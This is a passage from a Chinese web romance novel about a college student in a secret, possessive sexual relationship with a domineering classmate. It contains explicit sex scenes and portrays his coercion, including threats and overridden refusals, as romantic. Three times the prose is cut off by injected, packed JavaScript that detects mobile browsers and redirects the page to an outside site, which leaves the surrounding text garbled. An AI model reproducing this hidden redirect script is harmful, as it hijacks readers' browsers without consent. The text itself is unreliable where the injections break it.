手机通讯录里有名有姓的大概只有她和父母,其余同学老师的号码,他一概不存。 傅时逾私生活简单到不可思议。 他把所有的时间精力全部用在学业比赛项目还有孟舒身上。 在这方面,孟舒从没怀疑过傅时逾。 但听傅时逾的口气,他倒是挺希望她怀疑,准确来说是在意。 “我相信你。”孟舒认真地说。 “相信我?”傅时逾复述完她的话,慢条斯理地问,“那我可以相信你吗,宝宝?” 孟舒蹙眉,心中不快,反显在脸上,“我不是已经把人拉黑了吗,你还想怎么样呀?” “我要你回我消息,接我电话,主动来找我,”傅时逾捏住她下巴的手指紧了紧,“我就想这样呀。” 孟舒从小生长在南方,来了江城这些年,说话基本已经没有口音。 但偶尔还是会有南方的调调。 本就软的嗓子,生气也像撒娇。 “你不要学我说话呀。”孟舒恼羞成怒时的那点口音更明显了。 傅时逾笑起来,忍不住将她从副驾驶拉到自己腿上。 孟舒挣扎不过,挤在他和方向盘之间。 她扭了两下,就被傅时逾按住。 他沉声警告,“好好坐着别动。” 孟舒身体僵住,月退间明显感觉到傅时逾的异样。 她瞪圆了眼睛,不敢置信地看着他,“你怎么……” 傅时逾喉咙滚了滚,用一种近乎露骨的目光,紧紧盯着她。 6.快饿死了 傅时逾补充道:“刚才亲你的时候就石更了。” 孟舒脸腾地一下变红。 他是怎么不害臊地说出这种话的? 她推搡着要下车,被傅时逾扣住手腕。 “傅时逾我不要在车里……” 车停在小区地下停车场。 虽然现在不是下班高峰,小区里车不多,但时不时地会有车经过。 透过挡风玻璃,可以看见她坐在他腿上。 傅时逾饶有兴致地提议:“我们还没试过在车里呢宝宝。” 没想到他还真有这想法。 吓得孟舒连连摇头,“我不要,不是昨晚才做过嘛。” 傅时逾一手扣住她两只手腕,另只手按在她后背,将她往自己面前压,“那你昨天吃了饭,怎么今天还吃?” 孟舒被他这个理论无语住了。 “做这种事……能和吃饭一样吗?” “怎么不一样?”傅时逾一本正经道,“你少吃一顿会饿,我少吃一顿也会饿。” 他还故意颠了两下腿。 “感觉到了吗宝宝,我快饿死了。” 怎么可能感觉不到? 恐怕傅时逾让她坐他车时,就已经把在车里要和她体验哪些姿势都想好了。 傅时逾的不要脸程度,简直突破了孟舒的上限。 看她真生气了,傅时逾亲了亲她脸颊,勉为其难地退了一步。 “不想在车里,那就回家做?” 只要傅时逾想做,孟舒基本就逃不掉。 两者相较取其轻。 反正车里绝对不行。 回到家,孟舒发现早上还凌乱不堪的厨房、客厅和卧室都很干净。 没有一丝昨晚的痕迹。 她不由松了口气,只是这口气还没松完,人就被傅时逾抱起来。 突然悬空,她害怕地搂住他脖子。 傅时逾低头急迫地亲她。 孟舒仰着脖子,目光盯着天花板,气喘吁吁道:“我鞋还没脱呢……” 傅时逾几步就把她抱到沙发,将她的鞋脱了随意扔在地上。 这是套超三百平的大平层。 偌大的客厅,沙发就四米长。 平时两人坐在沙发上,写代码的写代码,写文章的写文章,互不影响。 但大多数时间,两人在沙发上都是密不可分的状态。 傅时逾根本等不到抱孟舒去卧室。 他三下五除二解决了两人身上的阻碍。 傅时逾让孟舒坐着。 这是他最喜欢的姿势。 因为这样孟舒可以尽可能地把他吃完整。 他也能直观地看见孟舒的表情。 想当初,他们的第一次并不顺利。 他原以为会带给她舒服的东西,一开始对她来说却是负担。 她吃不进。 两人尝试了很久都失败了。 孟舒太疼了。 他也疼。 才进一点,小姑娘就不断吸气,眼泪哗啦啦地流。 后来就算做得多适应了,也有娇气喊疼的时候。 傅时逾自认不是变态,却尤其喜欢在这种时候惹她哭。 在沙发上吃了顿快餐。 傅时逾才把人抱去卧室,细嚼慢咽、循序渐进地再吃了顿法式大餐。 夜色渐浓,孟舒洗好澡躺回床上。 昨晚加之今天,孟舒感觉自己快废了。 走路腿都在打摆子。 主卧浴室的门打开,傅时逾只穿家居裤,上半身裸着,姿态懒散地擦着头发走出来。 他不怎么去健身房,但平时会跑步和打球,所以身材很好。 头身比更是完美。 秀色可餐。 ——孟舒想起孙怡闵对眼前这人的评价。 不止孙怡闵,江大所有女生都被傅时逾完美的皮囊所蒙骗。 众人眼中清冷禁欲的高岭之花,床上花样百出不说,sweetie talk和dirty talk更是切换自如。 上一句说着“宝宝真棒”,下一句就是“想要把宝宝草成daddy的乖狗”。 这人根本就是金玉其外败絮其中。 傅时逾一步步走过来。 身上没擦干的水渍顺着腰腹沟壑滑入明晰的人鱼线…… 孟舒逼着自己移开眼不去看。 傅时逾走到床边,弯下腰,一手撑在床沿,将孟舒蒙住脸的被子往下拉开。 他俯身在她额头上亲了亲,温声问:“饿不饿,想吃什么?” 孟舒累得不想动弹,人往被子里钻,“不吃了,我想睡了。” “这就累了?”傅时逾眼含戏谑,轻笑道,“怎么这么没用?” 孟舒不想和他掰扯,到底是她没用,还是他太过分。 傅时逾拿起手机,“吃什么?我叫外卖。” 孟舒闷声说:“不想吃外卖。” 这不行,那不行,作的要死。 但傅时逾没觉得她作,反正她作她的,他做他的。 傅时逾在买菜软件上下单,东西到了后就钻进了厨房。 他离开卧室后孟舒就睡着了。 但才睡了二十分钟就被腰酸背疼闹醒了。 翻来覆去睡不着,她干脆起来。 孟舒来到厨房。 开放式厨房,傅时逾听到动静回头,看到孟舒,指了指旁边作为餐桌的大理石岛台。 “去坐一会儿,马上就好。” 孟舒在岛台边坐下。 傅时逾没再管她,继续做饭。 孟舒双手支着下巴,半眯着眼睛,望着傅时逾背影。 洗菜切配翻炒装盘。 他做什么都很利落,没有一个步骤是多余重复的。 就像他写的代码,永远最简练,但程序运行却是最稳定的。 也像他的人生,从小在家里的培养下,每一步都踏得很准。 傅时逾就是很典型的别人家的孩子。 从学业到未来的事业,孟舒相信,他永远都是站在金字塔顶端的人。 所以孟舒想不明白,为什么他要和自己牵扯在一起。 如果说是为了解决生理需求,他大可以找比她更适合更听话的。 但如果说他喜欢她…… 傅时逾从没向自己表白过。 自从高三暑假偷尝禁果,两人不清不楚地在一起已三年,却很少谈论感情的话题。 在孟舒的价值观里,没正式表白,没亲口问对方“你要不要做我男/女朋友”,就算他们把情侣间的所有事都做了也不算谈恋爱。 如果非要给他们的关系做个定义,炮友更合适。 可事实上,傅时逾对她表现出的占有欲,实在不像是炮友该有的。 哪有炮友逼着自己删异性联系方式的? 至于她自己为什么和他纠缠至今。 最大的原因当然是傅时逾太强势。 他是主宰他们关系的那一方。 无论是用“公开关系”威胁还是身体上的勾缠镇压,孟舒这种怂包性子,被他拿捏得死死的。 除此之外,还有一个原因…… “想什么想这么出神?”傅时逾把盘子端到孟舒面前,顺手在她脑门上敲了下。 孟舒捂住额头,瞪他一眼,声音细细地埋怨,“疼……” 傅时逾笑了下,隔着岛台,朝她倾身。 孟舒上半身后仰,躲开了他的吻。 傅时逾没追过去,修长骨指在台面上轻敲两下,带着点命令的口吻:“过来。” 这些年的相处,孟舒了解傅时逾。 他的耐心可不多。 过去吃过的那些亏,让她深谙一个真理,那就是千万别在傅时逾高兴时惹他不高兴。 他现在心情明显还不错。 孟舒不想撞枪口上。 她不情不愿地凑过去。 小姑娘眼帘低垂,纤长的两排羽翼微微颤动,不敢看他。 和刚来他们家时一样,害羞拘谨,看到他能躲就躲,躲不过就惊慌地逃走。 坐一桌吃饭,饭盛多了少了不好意思说,筷子也只敢伸向离自己最近的菜。 低眉顺目,兔子一样胆小。 傅时逾低头,在孟舒唇上啄了啄。 一触即分,没有停留太久。 亲完并没有进一步动作,转身去端另一盘菜。 傅时逾洗过澡,穿了套浅色家居服,整个人高挑清隽,少了在外面时的那份凌厉高傲,姿态随意,一副懒懒散散的少爷劲儿。 傅少爷亲自为她下厨做羹汤。 这种场景见得再多,也让孟舒时常感叹不可思议。 孟舒看着男生挺拔宽阔的后背,抬手碰了碰嘴唇。 只是短暂的唇畔相贴,孟舒的唇上便留下了傅时逾的味道。 像初冬清晨的空气,干净清冷,还有一丝丝潮气。 孟舒不动声色地抿了抿唇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286875|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 傅时逾的味道在她口腔和鼻息间蔓延,顺着咽喉,缓缓过肺。 她偶尔,只是偶尔,会贪恋傅时逾。 这大概就是她迟迟没有下定决心和傅时逾划清界限的另一个原因吧。 傅时逾的厨艺不错,短短半小时就做出了两菜一汤。 菜虽然简单,但都是孟舒爱吃的。 两人坐在岛台边吃饭。 看孟舒吃得差不多了,傅时逾给她盛了碗汤。 孟舒很自然地接过喝起来。 孟舒不怎么爱喝汤。 过去住在傅家,阿姨煲的养生汤,因为有中药味,她更是一碰不碰。 那时候傅时逾就亲自给她盛了放在手边。 小姑娘不好意思拒绝,只能苦着脸,一小口一小口慢吞吞地喝。 直到傅时逾盯着她把汤喝完。 高三魔鬼般的日子,孟舒在傅家喝了一年的养生汤。 滋养得脸色红润,体质也变好了。 上午广播站的直播采访,文字稿很快就出来了。 孟舒边喝汤边看。 直播时,某人惜字如金。 没想到文稿里他的名字含量出奇得高。 看来写报道的人很清楚大家想看什么。 果然这篇报道是学校公众号有史以来浏览量最高的。 孟舒看到傅时逾回答的某个问题,抬头看着他,“你想去SN实习?” SN目前是国内最顶尖的科技公司,主研发无人驾驶技术。 公司的CEO是和傅时逾一样年少出名的计算机大拿沈纵。 傅时逾眼不抬地说:“还在考虑。” 他说还在考虑,也就是说SN已经向他递来了橄榄枝。 “可是……你不留校吗?” 就连孟舒都知道,傅时逾的父母,特别是他父亲傅教授一直希望他能留校。 刚进大学时,傅时逾参加了很多含金量很高的比赛。 孟舒以为他在为留校做准备。 傅时逾没回答孟舒的问题。 他看着她,敛起散漫的神色,认真地问她:“你呢宝宝,毕业后什么打算?” 孟舒没想到傅时逾会把问题抛给自己。 她愣了愣,没有马上回答。 孟舒向来随遇而安,不习惯早做规划。 她还没怎么考虑过自己的未来。 但前几天,孟舒爸爸在电话里,有意思让她毕业后去国外。 父母离婚后,孟舒爸爸在美国工作定居。 这些年父女俩聚少离多,他很想念孟舒,希望她能多点时间陪伴在自己身边。 孟舒当时没表态,但也没直接拒绝。 当年父母离婚,无论他们之间发生了什么错在谁,对孟舒来说父母对她的爱永远不变。 孟舒妈妈从没在女儿面前说过一句她爸爸的不好。爸爸也总在电话里让她多陪陪妈妈。 如果她去了国外,那她和傅时逾…… 孟舒有点不敢想,自己将来要是真去了国外,傅时逾会是什么反应。 干燥柔软的指腹轻轻擦过孟舒唇角,她怔忪抬头,看进男生漆黑的眼眸中。 “慢慢考虑,还有一年才毕业,”傅时逾揉着她唇,“真没什么打算,先考研也行。” 如果孟舒不是了解傅时逾这个人,或许真会被他温柔的表象所迷惑。 他劝她考研,无非是学校的环境和人际关系比外面单纯得多,便于他掌控她。 这么多年,孟舒早已习惯傅时逾的霸道,和他强加给自己的想法,但她依然无法平静地接受,他对自己的未来指手画脚。 孟舒内心厌烦,坚定地摇头。 “我不打算考研,想早点实习工作,多交点朋友,多拓宽视野。就算是考研……” 孟舒顿住,差点没把后面的话说出来—— 就算考研也不会留在国内。 傅时逾看着她:“就算什么?” “没什么,”孟舒心虚地避开他视线,随口说,“我是觉得我现在的专业,考研没多大意思,就算考研到时候也会考虑换专业。” “是吗?”傅时逾看着她的目光带着很强的审视意味。 孟舒心理承受能力一向很差。 傅时逾太了解她了,她的一举一动,很容易被他看穿。 果然,傅时逾的脸色变沉,眼里的温色也一点点褪去。 “我怎么觉得,你不是想换专业,而是想换个地方呢?” 7.更疲惫了 孟舒心跳如擂鼓。 她怀疑傅时逾会读心术。 她努力维持着镇静,眉心轻蹙,像是在认真思考他的那句话,慢吞吞地说:“江大无论是学术氛围还是师资都很好,我不太想换。” 孟舒说完,不敢抬头看傅时逾。 置于腿上的手一点点攥成拳,脸上的表情就快要保持不住。 不知过了多久,面前人落下一句没什么情绪的话,“江大或者别的学校都可以。” 说完又补了句:“想好了告诉我就行。” 他这口吻,就好像主动权全在她手里,他完全尊重她的想法。 但事实上,无论孟舒想做什么,只要是他不喜欢的,总有法子让她改变。 最后按着他的想法走。 不过好歹今天这关算是过去了。 孟舒暗地里长舒一口气。 她不想再和他讨论自己,于是回到刚才的话题上:“你真的不打算留校吗?” “嗯。” “SN也很好,”孟舒说,“听说百万年薪起步。” 孟舒难得愿意和他聊这么多,傅时逾脸色稍霁,告诉她自己的打断。 “我在SN最多不会超过一年。” “为什么?”做IT的,都把SN当成最高殿堂,它现在的CEO毕业于江大,是傅时逾的直系学长,上学期还来学校做过演讲。 傅时逾语调平淡,毫无愧疚感地说:“因为一年时间够我挖人了。” “挖人?”孟舒脑子转过弯来,“你……要自己做项目?” 傅时逾在学校的项目,让他在专业领域崭露头角,SN肯定也是因此提前锁定了他这样的人才。 没想到,他却看中了对方公司的人才。 傅时逾笑了笑,“准确来说是创业。” 傅家往上数三代就没人做生意。 傅时逾父亲傅明淮是著名教授,家里都是搞研究的。 母亲夏江潮在国内外开了几个画廊和展览馆,承办各国的艺术品交流展出,和各国政府关系密切。 他外婆这边,孟舒和其他人知道得差不多。 只知道身份不一般,两位老人常年住在秦皇岛休养,住的地方有警卫。 孟舒曾以为,傅时逾不是从政就是做学术研究,没想到他竟然想创业。 不过,无论是从政做研究还是创业,孟舒丝毫不怀疑傅时逾的能力。 她这么想,也这么说出了口:“你做什么都会成功的。” 小姑娘浅色的瞳仁里华光流转,意识不到自己是在以何种眼神看着他。 傅时逾喉头不自觉地滚了滚。 他朝她伸手。 孟舒犹豫了一下,最终还是将手放在他手中。 傅时逾拽着她,绕过半个岛台,拉到面前,让她坐在自己腿上。 他侧身抱着她,声音沉溺在她耳边,“对我这么有信心啊宝宝?” 大概是刚骗了他,她心虚地没有躲开他的亲热,反而讨好地在他怀里寻到舒服的坐姿。 她抬手轻轻点了点他的额头,很认真地说:“毕竟你是有一百八智商的天才,什么事都难不倒你。” 就算傅时逾在孟舒这里的人品已经透支成负数,也不可否认,这人有多强大。 智商高就算了,还特别努力和自律。 想当初还有人在背后蛐蛐他是靠家里,这些年他用过硬的实力狠狠打了那些人的脸。 外面的人只仰望他的成绩,没看见他的房间,傅家的书房,那些成堆成山的专业书和学科杂志。 也看不到他连着几天不睡觉在实验室里熬的样子。 孟舒的手情不自禁移动到傅时逾头顶。 手指穿进他发间。 还好头发乌黑浓密。 应该没有秃顶的烦恼。 傅时逾握住她的手,拉到嘴边,在她手心里连着亲了好几下。 “看来我得努力赚钱了,”傅时逾搂着她的手臂收紧,小鸡啄米似地不断亲着她的脸颊和脖颈,“别人有的,我们宝宝也得有。” 孟舒差点脱口而出“你赚的钱和我有什么关系”,但她潜意识里觉得,这句话会让傅时逾不高兴。 她始终认为傅时逾的未来和自己没关系。 孟舒直言不讳地告诉傅时逾,她今天肯定不和他做了。 傅时逾答应了。 孟舒是真累惨了,洗完澡原本想写点东西,打开电脑没多久就趴在书桌上睡着了。 迷迷糊糊中,感觉到有人抱起自己。 她半梦半醒中还不忘再次提醒。 “傅时逾,我今天真的做不了了……” 孟舒似乎听见他笑了下。 傅时逾把人抱上床,盖上被子。 孟舒翻了个身就彻底睡死了。 这一觉睡得沉,但醒得也早。 凌晨五点孟舒就醒了。 傅时逾不在床上。 孟舒出去喝水,看到书房门缝里透出一小片灯光。 看来傅时逾昨晚又通宵了。 因为有个和美国那边的合作项目,这学期开始为了配合时差,他熬夜通宵是常事。 孟舒告诉自己别管他,这人就跟机器人似的有用不完的精力,绝对不会猝死。 但等她反应过来,已经推开书房的门。 傅时逾听到动静,动作迟缓地抬头,熬了一晚,嗓音带着疲惫的嘶哑,“怎么醒了?” 孟舒站在门口,没进去,揉了揉眼睛。 “还要忙多久?” 傅时逾看了眼满屏的需求,捏了两下眉心舒缓疲惫,“可能还有会儿。” “哦,那你早点休息。” 孟舒准备离开前,傅时逾叫住她。 傅时逾合上电脑,将椅子往后挪,腾出点空间,然后朝她伸出手。 “过来,宝宝。” “让我抱一会儿。” 孟舒不想过去被他抱,但身体比大脑先一步做出抉择。 孟舒走到书桌后,熟稔地坐在傅时逾腿上,被他抱住时不禁感慨—— 就算他比大部分人智商高,体能好,也不是真正的机器。 血肉之躯,会疲惫。 当然也有概率猝死。 凌晨五点,傅时逾抱着孟舒。 脑袋完全埋在她肩窝里,濡湿的气息不断喷洒在她肌肤上。 孟舒下颚搁在他发顶,手指有一下没一下地捏着他后脖处的衬衫衣领玩。 孟舒在心里轻轻叹气。 傅时逾偶尔会这么一声不吭地抱着她。 什么也不说,什么也不做。 像是在拿她充电。 时间一分一秒地过。 孟舒在心里计算着—— 10%,30%,50%,70%…… 怀里的人动了下,孟舒也跟着动了动快要僵硬的肩颈,无声地念了个“100%”。 满血复活的机器人傅时逾直起身,没有放开孟舒,而是开始解她的睡衣扣子。 解到胸口时,孟舒反应过来,一把按住他的手,急道:“你答应了今天不做的!” 傅时逾拿开她的手,利落地解开剩下的扣子,脸埋进去的同时提醒她。 “现在已经是崭新的一天了,宝宝。” 孟舒周一早上才回学校。 因为时间紧迫没回宿舍,直接去了教室。 蒋桐看到孟舒,忍不住问:“我怎么觉得过了个周末,你看着更疲惫了?” 可不更疲惫吗? 凌晨五点她被压在书房的书桌上,六点在浴室的洗漱台,七点才被允许回到床上。 然后除了上厕所,就连吃饭喝水,傅时逾都没让她下过床。 在床上,倒也不全是在做。 傅时逾还是睡了会儿的。 紧紧搂着她睡,她稍微动一下,他手脚就缠得更紧。 男生本就体温高,孟舒又被他按在怀里动弹不得,一晚上热醒了好几回。 天才蒙蒙亮,他大少爷睡醒养足了精神,也不管她有没有精神,娴熟地剥了她睡衣,捞进怀里。 孟舒只和傅时逾做过,不清楚其他男大是不是也这样,血气方刚,做起来就没完,自-慰棒充满电都没他持久。 坐在后排的肖君和孙怡闵往前凑。 肖君翻了个白眼说:“还用说嘛,肯定是章顺洲又奴役她了。” 肖君嘴里的章顺洲是她们专业研二的学长,也是总挑孟舒稿子毛病的工作室上司。 肖君拿手指点了点孟舒脑袋,恨其不争道:“我要是你,姓章的第一次对我指指点点就不会忍着,把稿子甩他脸上让他自己改!拿着鸡毛当令箭,他以为他谁啊!” “再有一学期舒舒的推文分就拿满了,”蒋桐息事宁人,“还是别和他起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖君纠正,“都是儿子遗传爹的,哪有因为儿子帅,爹才帅的。” 蒋桐突然说:“你们觉不觉得傅教授和傅时逾长得不是很像?” “儿子像妈呗,”孙怡闵理所当然道,“但傅时逾智商绝对遗传傅教授。” 前半句话孟舒绝对认可。 傅时逾长相确实更像夏江潮。 母子俩都是骨相皮相都很绝的那种人。 其实傅时逾的性格和智商也更像妈妈。 夏江潮在家里还好,特别是对孟舒,拿她当亲近的小辈疼爱有加。 但在外面,在工作上,她的要求非常高。 就连林蓓也忍不住吐槽,夏总有时残酷得没人情味。 但还是有很多人巴不得跟着她,谁让她是这个行业里最顶尖的存在。 母子俩都是能力强,脾气坏,眼光高,不可一世的人。 一山不容二虎,所以傅时逾和夏江潮之间的矛盾不小。 孟舒在傅家借住的那一年,就遇到过一次两人争吵。 她不清楚两人为了什么吵起来,第二天早上起来,听保姆说太太书房里能砸的都砸了。 吃早餐时,孟舒看见傅时逾额头有片明显的乌青。 母子俩都是刚硬的人,谁也不服谁会。 反观傅明淮,倒像是这个家里的异类。 他疏朗温润,对谁都和气。 孟舒就没见过他发脾气。 孟舒她们坐在前排,傅明淮一进来就看见了她,目光扫过时,在她脸上微微停顿,两人心照不宣地打了个招呼。 孟舒和傅时逾在学校里装作陌生人,也没人知道她和傅家的关系。 当初孟舒提出隐瞒时,傅明淮觉得也好。 省得被人知道后,无端对孟舒造成麻烦。 课才上没多久,傅明淮的电脑坏了。 电脑硬件有问题,短时间修不好。 傅明淮打了个电话。 十分钟后,有人走进教室。 看到来人,教室里瞬间炸开了锅。 8.他骚扰你 “卧槽卧槽卧槽果然早起的鸟儿有虫吃!我将永远拥护早八的光辉!” “该拥护的是傅教授,不把我们当外人,大大方方晒儿子。” “这哥近距离看是真帅啊!” 男生身上的冲锋衣拉链被拉到顶,遮住半个下巴,眉骨到鼻梁的侧脸轮廓明晰锐利。 额前发略长,浅浅扫着凌厉眉峰,隔着再远的距离,也能感受自他身上弥漫开的冷意。 他走进教室,脸色不太好地拿出手提包里的电脑。 傅明淮理冲他摆了摆手,“我先上课,几个软件你帮我下载一下,我一会儿要用。” 看得出傅时逾的不耐烦已经达到顶峰,但他没离开,臭着脸给傅明淮干活。 孟舒知道他为什么臭脸。 傅少爷应该是睡梦中被吵醒的。 早上孟舒离开前,傅时逾还睡着。 写了一夜代码,又做了一天爱,他严重缺觉,眼里布着几条血丝,连眼尾都是红的。 傅时逾的性格使然,和父母说不上多亲近,孟舒在傅家住的那一年里,他和父母之间说的话,还没和孟舒的多。 平时一家三口也是各忙各的,很少联系。 但像刚才,傅明淮给傅时逾打电话送电脑,他再不情愿,到底还是来了。 今天上这堂课的人,就这么幸运地欣赏到了帅爹和帅儿子同框的画面。 一个温润,一个冷峻。 不少人在偷拍。 傅时逾抬眸,冷刀子瞥过去,大家才收敛。 教室信号差,下载需要时间,傅时逾干脆拿着电脑走下讲台,随意找了个地方坐。 于是就这么随意地坐在了某人的旁边。 孟舒真后悔旁边留了个空位。 她眼观鼻鼻观心,当他不存在。 “你……” 男生低哑的声音突然在耳边响起,孟舒眼皮狂跳了一下。 她慢吞吞地转过头,露出一个自认为很自然的表情,表达疑惑的口气也恰到好处。 “同学,有事吗?” 孟舒听到傅时逾一声冷嗤。 她咬着唇,不敢看他,面皮绷得很紧。 孟舒顶着明里暗里的众多目光,脸皮微微泛红。 傅时逾不说话,只是盯着她的脸看。 就在她不知所措时,手上多了样东西。 同时响起他冷淡的声音,“同学,麻烦帮我插下插座。” 他刻意加重“同学”两个字,听得孟舒小心脏又是一抖。 他们这排的地插座在孟舒右脚边。 孟舒拿着笔记本插座,暗暗呼出一口气。 她侧过身,弯下腰。 今天天气转凉,孟舒穿了件针织开衫,小短款,随着弯腰,开衫和里面的打底T往上抽起,露出一小截白纤的后腰。 她插好插座,正准备直起身,感觉后腰肌肤处一凉。 仗着视觉盲区没人看到,傅时逾手臂垂在身侧,手背有意无意地蹭她腰间肌肤。 他刚从外面进来,身上温度低。 手更是凉得像块冰。 孟舒整个人都躬了起来,下意识往前躲,额头撞到了旁边蒋桐的手臂。 蒋桐立马低头问:“没事吧舒舒?” 孟舒双手撑着桌沿直起腰,敢怒不敢言。 “谢谢,”傅时逾凑近孟舒,用周围人能听见的音量道了声谢,再压低声音,用唯有两人能听见的声音说,“早上怎么没叫我送你?” 孟舒不敢看他,更不敢和他说话,装模作样地拿起手机。 很快傅时逾的手机响了一下。 他打开,看到孟舒给他发了张照片。 早上离开公寓前,孟舒回卧室拿东西,经过床边,鬼使神差地拍了张傅时逾的睡颜照。 她也不想拍的,但他睡着时少了凌厉的压迫感,莫名有点乖顺。 孟舒是个审美正常刚二十出头的女生,到底抵不住傅少爷盛世美颜。 等她反应过来时,照片已经拍好了。 只能怪死手忍不住。 从照片里就能看出,他睡得多沉。 孟舒借此告诉他,不是她没叫他,而是叫不醒。 “趁我睡着偷拍我啊?” 不知道是不是故意,傅时逾并没刻意控制音量,起码他们前后两排的人都能听见。 果然,周围的人看着不动声色,实则耳朵恨不得装上天线,生怕漏听一个字。 孟舒如芒在背,整个人都是僵的,大气都不敢出。 脑子里不断闪过两人关系暴露后,无数即将针对自己的质问。 诡异的气氛中,只见傅时逾拿起手机,贴近嘴边,勾着唇角说:“不会还偷亲我了吧?” 孟舒:“……” 孟舒的手机消息一条接一条。 全部来自她们宿舍小群。 【桐:原来是在发语音消息,我还当他在和谁说话呢!】 【闵:发语音也很恐怖好吧!你要不回忆下他刚刚说了什么?】 【君:这语气一听就是和女朋友说话,没想到这哥真有女朋友!】 【闵:昨天那张照片还不能说明一切吗?】 【君:照片他撤回太快,没啥真实感,但刚才那两句话真把我吓到了】 【桐:傅时逾说话好苏哦】 【闵:@舒你离得近,偷偷看一下他现在的表情是不是特温柔】 孟舒:“……” 孟舒当然不会偷看傅时逾,她恨不得看不见他。 孟舒如坐针毡。 几个软件而已,他怎么还没下载完…… 其实软件傅时逾早下载完了,傅明淮没催,他就没急着离开。 他再次拿起手机放在嘴边,余光瞥了眼身边端坐如松柏,表情凝重的人。 男生唇角弧度不断扩大,没睡醒的嗓子低沉倦懒,“好饿,早饭没吃,上完课陪我去吃。” 孟舒没有任何反应,也不敢有,当作什么也没听见,身体姿态,目光视线,就连一根头发丝都不想和他扯上关系。 傅时逾一向没耐心,两秒都等不及,又发了条“语音”—— “别装没听见,宝宝。” 身边响起不少惊异的抽气声和窃窃私语。 孟舒脸色白了又白,手心里全是汗。 傅时逾的忍耐已经到了极限。 大家也都不是傻子,已经有眼尖地发现了不对劲。 傅时逾左边是过道,右边是孟舒。 如果他不是在发消息,那就是…… 孟舒感觉后背发烫,快要被盯出洞来。 她深吸口气,拿起手机,指尖颤抖着打字。 很快傅时逾的手机亮了一下,一条备注为“宝宝”的消息出现—— 【你能不能别说这些奇怪的话!!!!!!!!!!!!!】 傅时逾打开手机。 感叹号快占满整个手机屏幕了。 小姑娘是真生气了。 炸毛的兔子,耳朵通红。 孟舒皮肤薄,特别是耳朵,害羞,生气,或者被他欺负时,耳朵很容易红得几近透明。 傅时逾收回目光,喉头滚了两下,落在键盘上的手指虚虚捻了捻。 真想把她拐出去亲个够。 更想舔她…… 这时,讲台上傅明淮问傅时逾好了没有。 傅时逾不再逗孟舒,起身离开前,留下四个字,“楼下等你。” 孟舒握着手机的指关节泛白。 这人只管搞出乱摊子,不负责收场。 好在他起身时,大家的关注点都被接近一九零的身高吸引走了,没注意到他说的话。 直到男生的身影完全消失在教室外,孟舒回头,发现蒋桐正一脸怪异地看着自己。 孟舒心里一紧,试探着问:“怎么了?” “没什么。” 孟舒刚松口气,就听蒋桐凑到她耳边,小小声说:“我看见傅时逾摸你了。” 孟舒帮傅时逾插插座时,后者故意拿手碰她后腰。 原以为做得隐蔽,没想到被蒋桐看见。 孟舒大脑瞬间空白,一时不知该说什么。 好在蒋桐声音压得很低,没人听见。 “桐桐,其实我们……”半天,孟舒才尝试着组织语言向蒋桐解释。 蒋桐把手按在孟舒手上,目光燃起两簇小火苗,“别怕,教室里虽然没监控,但我可以当证人,证明傅时逾性骚扰你。” 孟舒:“……” 这误会大了。 其实也不算误会,傅时逾确实骚扰了她。 而且这些年,他一直在骚扰她。 孟舒叹气,“他没有骚扰我。” “不是骚扰……”回想起刚才傅时逾奇怪的举动,蒋桐眼睛渐渐发亮,“你不会就是他女朋友吧?” 孟舒握住蒋桐的手,恳求道:“桐桐,等有机会我会告诉你我和傅时逾的事,但暂时能先帮我保密吗?包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296152|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 括她们两个。” 蒋桐点头,郑重道:“放心,我不会和任何人说。” 蒋桐是个很“淡”的人,脾气好性格稳定,孟舒庆幸是被她发现了,否则依着肖君和孙怡闵的性子绝对不会轻易放过自己。 不过既然被看见了,孟舒没打算否认。 只是她还没想好怎么和她们解释。 或许等她和傅时逾之间的关系彻底结束,她才能坦然地说出来。 傅明淮下课一向准时。 电脑坏了也没占用大家时间。 两台电脑,再加上教案资料和杯子,东西太多不好拿,于是傅明淮随机寻求某个前排同学的帮忙:“这位同学,能否帮我个忙?” 孟舒被叫去帮傅明淮拿东西。 下楼时两人聊了几句近况。 孟舒高三在傅家住了一年,搬回家后,逢年过节,夏江潮夫妇会邀请她回去吃饭。 夏江潮和傅明淮一直把孟舒当亲近的小辈关照。 孟舒心里记挂着刚才的事,心不在焉。 “傅教授好。” “嗯,你好,”傅明淮和经过身边的学生打完招呼,问孟舒,“听说南苑食堂的小火锅不错。” 傅明淮让孟舒帮自己拿东西,是想找她一起吃个饭。 孟舒没出声,像是没听见。 傅明淮看着她,关切地问:“孟舒,我怎么觉得你状态不太好?” “傅叔叔,我……”孟舒的话被不远处的身影打断。 孟舒他们已经走到底楼大厅。 男生一身黑色冲锋衣斜靠在大厅圆柱旁。 高挑挺拔,宽肩窄腰,在一众下课人流中特别显眼。 孟舒脚步一顿。 糟糕,怎么把他给忘了…… 傅明淮也看见了。 脚步转了个弯,朝他走过去。 孟舒只能跟在傅明淮身后一起过去。 